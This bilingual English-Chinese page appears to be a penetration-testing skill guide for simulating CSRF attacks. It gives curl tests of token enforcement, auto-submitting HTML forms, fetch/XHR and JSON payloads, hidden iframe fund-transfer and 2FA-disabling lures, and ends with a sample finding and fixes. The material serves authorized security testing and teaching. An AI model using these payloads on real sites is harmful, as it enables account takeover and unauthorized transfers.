performing-csrf-attack-simulation

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Performing CSRF Attack Simulation

执行CSRF攻击模拟

When to Use

适用场景

  • During authorized web application penetration tests to identify state-changing actions vulnerable to CSRF
  • When testing the effectiveness of anti-CSRF token implementations
  • For validating SameSite cookie attribute enforcement across different browsers
  • When assessing applications that perform sensitive operations (password change, fund transfer, settings modification)
  • During security audits of custom authentication and session management mechanisms
  • 在授权的Web应用渗透测试中,识别易受CSRF攻击的状态变更操作
  • 测试反CSRF令牌实现的有效性
  • 在不同浏览器中验证SameSite Cookie属性的执行情况
  • 评估执行敏感操作(密码修改、资金转账、设置变更)的应用程序
  • 在自定义认证和会话管理机制的安全审计期间

Prerequisites

前置条件

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: With CSRF PoC generator functionality
  • Web server: Local HTTP server for hosting CSRF PoC pages (Python
    http.server
    )
  • Two browsers: One authenticated as victim, one as attacker
  • Target application: Authenticated session with valid test credentials
  • HTML/JavaScript knowledge: For crafting custom CSRF payloads
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
  • 授权:针对目标的书面渗透测试协议
  • Burp Suite Professional:具备CSRF PoC生成功能
  • Web服务器:用于托管CSRF PoC页面的本地HTTP服务器(Python
    http.server
  • 两个浏览器:一个以受害者身份认证,一个以攻击者身份操作
  • 目标应用:拥有有效测试凭证的已认证会话
  • HTML/JavaScript知识:用于构造自定义CSRF载荷
法律声明:本技能仅用于授权安全测试和教育目的。未经授权对非自有或未获得书面测试许可的系统使用此技能是非法的,可能违反计算机欺诈相关法律。

Workflow

操作流程

Step 1: Identify State-Changing Requests

步骤1:识别状态变更请求

Browse the application and identify all POST/PUT/DELETE requests that modify server-side state.
undefined
浏览应用程序,识别所有修改服务器端状态的POST/PUT/DELETE请求。
undefined

In Burp Suite, review Proxy > HTTP History

在Burp Suite中,查看Proxy > HTTP History

Filter for POST/PUT/DELETE methods

筛选POST/PUT/DELETE方法

Focus on actions like:

重点关注以下操作:

- Password/email change

- 密码/邮箱修改

- Fund/money transfers

- 资金转账

- Account settings modifications

- 账户设置变更

- Adding/removing users or permissions

- 添加/删除用户或权限

- Creating/deleting resources

- 创建/删除资源

- Toggling security features (2FA disable)

- 切换安全功能(禁用双因素认证)

Example state-changing request captured in Burp:

在Burp中捕获的示例状态变更请求:

POST /api/account/change-email HTTP/1.1 Host: target.example.com Cookie: session=abc123def456 Content-Type: application/x-www-form-urlencoded
email=newemail@example.com
POST /api/account/change-email HTTP/1.1 Host: target.example.com Cookie: session=abc123def456 Content-Type: application/x-www-form-urlencoded
email=newemail@example.com

Check for anti-CSRF protections:

检查反CSRF防护措施:

- CSRF tokens in form fields or headers

- 表单字段或请求头中的CSRF令牌

- Custom headers (X-CSRF-Token, X-Requested-With)

- 自定义请求头(X-CSRF-Token、X-Requested-With)

- SameSite cookie attribute

- SameSite Cookie属性

- Referer/Origin header validation

- Referer/Origin请求头验证

undefined
undefined

Step 2: Analyze Anti-CSRF Token Implementation

步骤2:分析反CSRF令牌实现

Test the strength and enforcement of any CSRF protections present.
bash
undefined
测试现有CSRF防护措施的强度和执行情况。
bash
undefined

Check if CSRF token is present

检查是否存在CSRF令牌

curl -s -b "session=abc123"
"https://target.example.com/account/settings" |
grep -i "csrf|token|_token"
curl -s -b "session=abc123"
"https://target.example.com/account/settings" |
grep -i "csrf|token|_token"

Test 1: Remove the CSRF token entirely

测试1:完全移除CSRF令牌

curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"

Test 2: Send empty CSRF token

测试2:发送空CSRF令牌

curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com&csrf_token="
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com&csrf_token="
"https://target.example.com/api/account/change-email"
-w "%{http_code}"

Test 3: Use a random/invalid CSRF token

测试3:使用随机/无效的CSRF令牌

curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com&csrf_token=AAAAAAAAAA"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com&csrf_token=AAAAAAAAAA"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"

Test 4: Reuse an expired/old CSRF token

测试4:使用过期/旧的CSRF令牌

curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com&csrf_token=previously_captured_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
curl -s -X POST
-b "session=abc123"
-d "email=test@evil.com&csrf_token=previously_captured_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"

Test 5: Use User B's CSRF token with User A's session

测试5:将用户B的CSRF令牌与用户A的会话一起使用

curl -s -X POST
-b "session=user_a_session"
-d "email=test@evil.com&csrf_token=user_b_csrf_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
undefined
curl -s -X POST
-b "session=user_a_session"
-d "email=test@evil.com&csrf_token=user_b_csrf_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
undefined

Step 3: Check SameSite Cookie and Header Protections

步骤3:检查SameSite Cookie和请求头防护

Verify browser-level and header-based CSRF defenses.
bash
undefined
验证基于浏览器和请求头的CSRF防御措施。
bash
undefined

Check SameSite attribute on session cookies

检查会话Cookie的SameSite属性

curl -s -I "https://target.example.com/login" | grep -i "set-cookie"
curl -s -I "https://target.example.com/login" | grep -i "set-cookie"

Look for: SameSite=Strict, SameSite=Lax, or SameSite=None

查找:SameSite=Strict、SameSite=Lax或SameSite=None

SameSite=Lax allows CSRF on top-level GET navigations

SameSite=Lax允许在顶级GET导航中进行CSRF攻击

SameSite=None; Secure allows cross-site requests

SameSite=None; Secure允许跨站请求

No SameSite attribute: browser defaults to Lax (modern browsers)

无SameSite属性:浏览器默认使用Lax(现代浏览器)

Check for Origin/Referer header validation

检查Origin/Referer请求头验证

Send request with no Referer

发送无Referer的请求

curl -s -X POST
-b "session=abc123"
-H "Referer: "
-d "email=test@evil.com&csrf_token=valid_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
curl -s -X POST
-b "session=abc123"
-H "Referer: "
-d "email=test@evil.com&csrf_token=valid_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"

Send request with evil Referer

发送带有恶意Referer的请求

curl -s -X POST
-b "session=abc123"
-H "Referer: https://evil.example.com/attack"
-d "email=test@evil.com&csrf_token=valid_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
curl -s -X POST
-b "session=abc123"
-H "Referer: https://evil.example.com/attack"
-d "email=test@evil.com&csrf_token=valid_token"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"

Send request with spoofed Origin

发送带有伪造Origin的请求

curl -s -X POST
-b "session=abc123"
-H "Origin: https://evil.example.com"
-d "email=test@evil.com"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
undefined
curl -s -X POST
-b "session=abc123"
-H "Origin: https://evil.example.com"
-d "email=test@evil.com"
"https://target.example.com/api/account/change-email"
-w "%{http_code}"
undefined

Step 4: Generate CSRF Proof-of-Concept with Burp Suite

步骤4:使用Burp Suite生成CSRF概念验证(PoC)

Use Burp's built-in CSRF PoC generator for rapid testing.
undefined
使用Burp内置的CSRF PoC生成器进行快速测试。
undefined

In Burp Suite:

在Burp Suite中:

1. Right-click the target request in Proxy > HTTP History

1. 在Proxy > HTTP History中右键点击目标请求

2. Select "Engagement tools" > "Generate CSRF PoC"

2. 选择“Engagement tools” > “Generate CSRF PoC”

3. Click "Test in browser" to validate the PoC

3. 点击“Test in browser”验证PoC

Burp generates HTML like:

Burp生成如下HTML:


```html
<!-- Auto-submitting CSRF PoC for form-encoded POST -->
<html>
  <body>
    <h1>Loading...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

```html
<!-- 自动提交的表单编码POST请求CSRF PoC -->
<html>
  <body>
    <h1>加载中...</h1>
    <form action="https://target.example.com/api/account/change-email"
          method="POST" id="csrf-form">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

Step 5: Craft Advanced CSRF Payloads

步骤5:构造高级CSRF载荷

For JSON APIs and other non-standard content types, use advanced techniques.
html
<!-- CSRF for JSON API using form with enctype -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- CSRF via XMLHttpRequest (requires permissive CORS) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>

<!-- CSRF via fetch API -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "email=attacker@evil.com"
});
</script>

<!-- CSRF via image tag (GET-based state change) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- Multi-step CSRF with iframe -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>
针对JSON API和其他非标准内容类型,使用高级技术构造载荷。
html
<!-- 使用带enctype属性的表单针对JSON API的CSRF攻击 -->
<html>
  <body>
    <form action="https://target.example.com/api/account/change-email"
          method="POST"
          enctype="text/plain"
          id="csrf-form">
      <input type="hidden"
             name='{"email":"attacker@evil.com","ignore":"'
             value='"}' />
    </form>
    <script>
      document.getElementById('csrf-form').submit();
    </script>
  </body>
</html>

<!-- 通过XMLHttpRequest进行CSRF攻击(需要宽松的CORS设置) -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://target.example.com/api/account/change-email", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"email": "attacker@evil.com"}));
</script>

<!-- 通过fetch API进行CSRF攻击 -->
<script>
fetch("https://target.example.com/api/account/change-email", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "email=attacker@evil.com"
});
</script>

<!-- 通过图片标签进行CSRF攻击(基于GET的状态变更) -->
<img src="https://target.example.com/api/account/delete?confirm=true"
     style="display:none" />

<!-- 使用iframe的多步骤CSRF攻击 -->
<iframe style="display:none" name="csrf-frame"></iframe>
<form action="https://target.example.com/api/transfer"
      method="POST" target="csrf-frame" id="csrf-form">
  <input type="hidden" name="to_account" value="attacker-account" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.getElementById('csrf-form').submit();</script>

Step 6: Test and Validate the CSRF Attack

步骤6:测试并验证CSRF攻击

Host the PoC and confirm successful exploitation.
bash
undefined
托管PoC并确认成功利用漏洞。
bash
undefined

Start a local web server to host the CSRF PoC

启动本地Web服务器托管CSRF PoC

cd /tmp/csrf-poc python3 -m http.server 8888
cd /tmp/csrf-poc python3 -m http.server 8888

PoC file structure:

PoC文件结构:

/tmp/csrf-poc/

/tmp/csrf-poc/

index.html <- CSRF PoC page

index.html <- CSRF PoC页面

change-email.html <- Email change CSRF

change-email.html <- 邮箱修改CSRF

transfer.html <- Fund transfer CSRF

transfer.html <- 资金转账CSRF

Testing steps:

测试步骤:

1. Log in to target as victim user in Browser A

1. 在浏览器A中以受害者用户身份登录目标应用

3. Check if the email was changed without victim's consent

3. 检查是否在未经受害者同意的情况下修改了邮箱

4. Verify the state change in the application

4. 在应用程序中验证状态变更

For SameSite=Lax bypass via top-level navigation:

针对SameSite=Lax的绕过:通过顶级导航使用基于GET的CSRF

Use GET-based CSRF with window.open or anchor tag


```html
<!-- SameSite=Lax bypass using top-level navigation -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">Click here for a prize!</a>
    <script>
      // Automatic click via social engineering context
      // SameSite=Lax allows cookies on top-level GET navigations
    </script>
  </body>
</html>

```html
<!-- 通过顶级导航绕过SameSite=Lax限制 -->
<html>
  <body>
    <a href="https://target.example.com/api/settings?action=disable_2fa"
       id="csrf-link">点击这里领取奖品!</a>
    <script>
      // 在社会工程场景下自动点击
      // SameSite=Lax允许在顶级GET导航中携带Cookie
    </script>
  </body>
</html>

Key Concepts

核心概念

ConceptDescription
CSRFAttack that tricks an authenticated user's browser into making unintended requests to a vulnerable site
Anti-CSRF TokenA unique, unpredictable value tied to the user's session that must be included in state-changing requests
SameSite CookieBrowser attribute (Strict, Lax, None) controlling when cookies are sent in cross-site requests
Origin HeaderHTTP header indicating the origin of the request, used for CSRF validation
Referer HeaderHTTP header containing the URL of the referring page, sometimes used for CSRF checks
Double Submit CookieCSRF defense that compares a cookie value with a request parameter value
Synchronizer Token PatternServer generates and validates a unique token per session or per request
概念描述
CSRF一种欺骗已认证用户的浏览器向易受攻击的站点发起非预期请求的攻击
Anti-CSRF Token与用户会话绑定的唯一、不可预测的值,状态变更请求必须包含该值
SameSite Cookie浏览器属性(Strict、Lax、None),控制跨站请求中是否发送Cookie
Origin Header指示请求来源的HTTP头,用于CSRF验证
Referer Header包含引用页面URL的HTTP头,有时用于CSRF检查
Double Submit Cookie一种CSRF防御机制,将Cookie值与请求参数值进行对比
Synchronizer Token Pattern服务器为每个会话或每个请求生成并验证唯一令牌的机制

Tools & Systems

工具与系统

ToolPurpose
Burp Suite ProfessionalCSRF PoC generator and request analysis
OWASP ZAPAnti-CSRF token detection and CSRF testing
XSRFProbeAutomated CSRF vulnerability scanner (
pip install xsrfprobe
)
Python http.serverLocal web server for hosting CSRF PoC pages
Browser DevToolsInspecting cookies, SameSite attributes, and network requests
CSRFTester (OWASP)Legacy tool for crafting and testing CSRF attacks
工具用途
Burp Suite ProfessionalCSRF PoC生成和请求分析
OWASP ZAP反CSRF令牌检测和CSRF测试
XSRFProbe自动化CSRF漏洞扫描器(
pip install xsrfprobe
Python http.server用于托管CSRF PoC页面的本地Web服务器
Browser DevTools检查Cookie、SameSite属性和网络请求
CSRFTester (OWASP)用于构造和测试CSRF攻击的传统工具

Common Scenarios

常见场景

Scenario 1: Email Change Without CSRF Token

场景1:无CSRF令牌的邮箱修改

The email change form does not include a CSRF token. An attacker hosts a page that auto-submits a form changing the victim's email to the attacker's address, enabling account takeover via password reset.
邮箱修改表单未包含CSRF令牌。攻击者托管一个自动提交表单的页面,将受害者的邮箱修改为攻击者的邮箱,从而通过密码重置实现账户接管。

Scenario 2: Fund Transfer with Token Bypass

场景2:令牌绕过的资金转账

The banking application has CSRF tokens but does not validate them if the parameter is omitted entirely. Removing the
csrf_token
field from the transfer form allows cross-site fund transfer.
银行应用存在CSRF令牌,但如果完全省略该参数则不进行验证。从转账表单中移除
csrf_token
字段即可实现跨站资金转账。

Scenario 3: JSON API CSRF via Content-Type Manipulation

场景3:通过内容类型操纵的JSON API CSRF攻击

A JSON API endpoint does not require a custom header. Using
enctype="text/plain"
in an HTML form, the attacker crafts a valid JSON body that changes the victim's account settings.
JSON API端点不需要自定义请求头。攻击者在HTML表单中使用
enctype="text/plain"
,构造有效的JSON体来修改受害者的账户设置。

Scenario 4: SameSite=Lax Bypass on GET State Change

场景4:基于GET状态变更的SameSite=Lax绕过

A settings page changes state via GET request (
/settings?disable_2fa=true
). Since
SameSite=Lax
allows cookies on top-level GET navigations, linking the victim to this URL disables their 2FA.
设置页面通过GET请求变更状态(
/settings?disable_2fa=true
)。由于
SameSite=Lax
允许在顶级GET导航中携带Cookie,诱使受害者访问该URL即可禁用其双因素认证。

Output Format

输出格式

undefined
undefined

CSRF Vulnerability Finding

CSRF漏洞发现

Vulnerability: Cross-Site Request Forgery (Email Change) Severity: High (CVSS 8.0) Location: POST /api/account/change-email OWASP Category: A01:2021 - Broken Access Control
漏洞类型:跨站请求伪造(邮箱修改) 严重程度:高(CVSS 8.0) 位置:POST /api/account/change-email OWASP分类:A01:2021 - 访问控制失效

Reproduction Steps

复现步骤

  1. Authenticate as victim at https://target.example.com
  2. Host the following HTML on an attacker-controlled server
  3. Trick victim into visiting the attacker page while authenticated
  4. The victim's email is changed to attacker@evil.com without consent
  1. https://target.example.com以受害者身份认证
  2. 在攻击者控制的服务器上托管以下HTML页面
  3. 诱使受害者在已认证状态下访问攻击者页面
  4. 受害者的邮箱被未经同意地修改为attacker@evil.com

Anti-CSRF Defenses Tested

测试的反CSRF防御措施

DefensePresentEnforced
CSRF TokenNoN/A
SameSite CookieLaxPartial (GET bypass)
Origin ValidationNoN/A
Referer ValidationNoN/A
Custom Header RequiredNoN/A
防御措施是否存在是否强制执行
CSRF令牌N/A
SameSite CookieLax部分有效(GET请求可绕过)
Origin验证N/A
Referer验证N/A
需自定义请求头N/A

Impact

影响

  • Account takeover via email change + password reset chain
  • Unauthorized fund transfers
  • Settings modification (2FA disable, notification change)
  • 通过邮箱修改+密码重置链实现账户接管
  • 未经授权的资金转账
  • 设置变更(禁用双因素认证、修改通知设置)

Recommendation

修复建议

  1. Implement synchronizer token pattern (anti-CSRF tokens) for all state-changing requests
  2. Set SameSite=Strict on session cookies where possible
  3. Validate Origin and Referer headers as defense-in-depth
  4. Require re-authentication for sensitive operations (password change, fund transfer)
  5. Use custom request headers (X-Requested-With) for AJAX endpoints
undefined
  1. 为所有状态变更请求实现同步令牌模式(反CSRF令牌)
  2. 尽可能为会话Cookie设置SameSite=Strict属性
  3. 验证Origin和Referer请求头作为深度防御措施
  4. 敏感操作(密码修改、资金转账)要求重新认证
  5. 为AJAX端点使用自定义请求头(X-Requested-With)
undefined